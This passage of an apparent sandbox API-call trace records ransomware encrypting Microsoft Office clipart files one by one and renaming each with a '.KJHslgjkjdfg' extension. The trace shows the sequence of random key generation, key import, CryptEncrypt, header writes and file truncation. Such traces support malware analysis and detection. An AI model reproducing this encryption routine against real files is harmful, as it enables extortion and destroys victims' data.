pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.809] GetProcessHeap () returned 0x2ef0000 [0198.809] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.809] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.809] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.810] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.810] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.810] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.810] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.810] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.810] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.810] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7e4, lpOverlapped=0x0) returned 1 [0198.810] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f0) returned 1 [0198.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.810] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7f0, lpOverlapped=0x0) returned 1 [0198.811] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.811] SetEndOfFile (hFile=0x130) returned 1 [0198.813] GetProcessHeap () returned 0x2ef0000 [0198.813] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.813] GetProcessHeap () returned 0x2ef0000 [0198.814] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.kjhslgjkjdfg")) returned 1 [0198.815] CloseHandle (hObject=0x130) returned 1 [0198.815] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0198.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.816] GetProcessHeap () returned 0x2ef0000 [0198.816] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.816] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.816] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.818] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.818] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.818] GetProcessHeap () returned 0x2ef0000 [0198.818] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.818] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.819] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.819] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.819] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.819] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f38, lpOverlapped=0x0) returned 1 [0198.820] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f40) returned 1 [0198.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.821] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f40, lpOverlapped=0x0) returned 1 [0198.821] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.821] SetEndOfFile (hFile=0x130) returned 1 [0198.824] GetProcessHeap () returned 0x2ef0000 [0198.824] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.824] GetProcessHeap () returned 0x2ef0000 [0198.824] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.kjhslgjkjdfg")) returned 1 [0198.825] CloseHandle (hObject=0x130) returned 1 [0198.825] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0198.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.826] GetProcessHeap () returned 0x2ef0000 [0198.826] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.826] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.826] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.828] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.828] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.828] GetProcessHeap () returned 0x2ef0000 [0198.829] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.829] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.829] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.829] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.829] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.829] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.829] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.829] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.829] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.829] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.829] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x290c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x290c, lpOverlapped=0x0) returned 1 [0198.833] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2910, dwBufLen=0x2910 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2910) returned 1 [0198.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.833] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2910, lpOverlapped=0x0) returned 1 [0198.833] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.833] SetEndOfFile (hFile=0x130) returned 1 [0198.836] GetProcessHeap () returned 0x2ef0000 [0198.836] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.836] GetProcessHeap () returned 0x2ef0000 [0198.836] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.kjhslgjkjdfg")) returned 1 [0198.838] CloseHandle (hObject=0x130) returned 1 [0198.838] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0198.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.838] GetProcessHeap () returned 0x2ef0000 [0198.838] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.838] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.841] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.841] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.841] GetProcessHeap () returned 0x2ef0000 [0198.841] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.841] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.841] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.841] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.841] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.841] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.841] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.841] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.841] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.841] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.842] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb54, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb54, lpOverlapped=0x0) returned 1 [0198.842] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb60, dwBufLen=0xb60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb60) returned 1 [0198.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.842] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb60, lpOverlapped=0x0) returned 1 [0198.842] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.842] SetEndOfFile (hFile=0x130) returned 1 [0198.845] GetProcessHeap () returned 0x2ef0000 [0198.845] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.845] GetProcessHeap () returned 0x2ef0000 [0198.845] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.kjhslgjkjdfg")) returned 1 [0198.846] CloseHandle (hObject=0x130) returned 1 [0198.846] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0198.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.847] GetProcessHeap () returned 0x2ef0000 [0198.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.847] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.847] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.847] GetProcessHeap () returned 0x2ef0000 [0198.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.847] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.847] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.847] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.907] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.908] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.908] WriteFile (in: hFile=0x130, 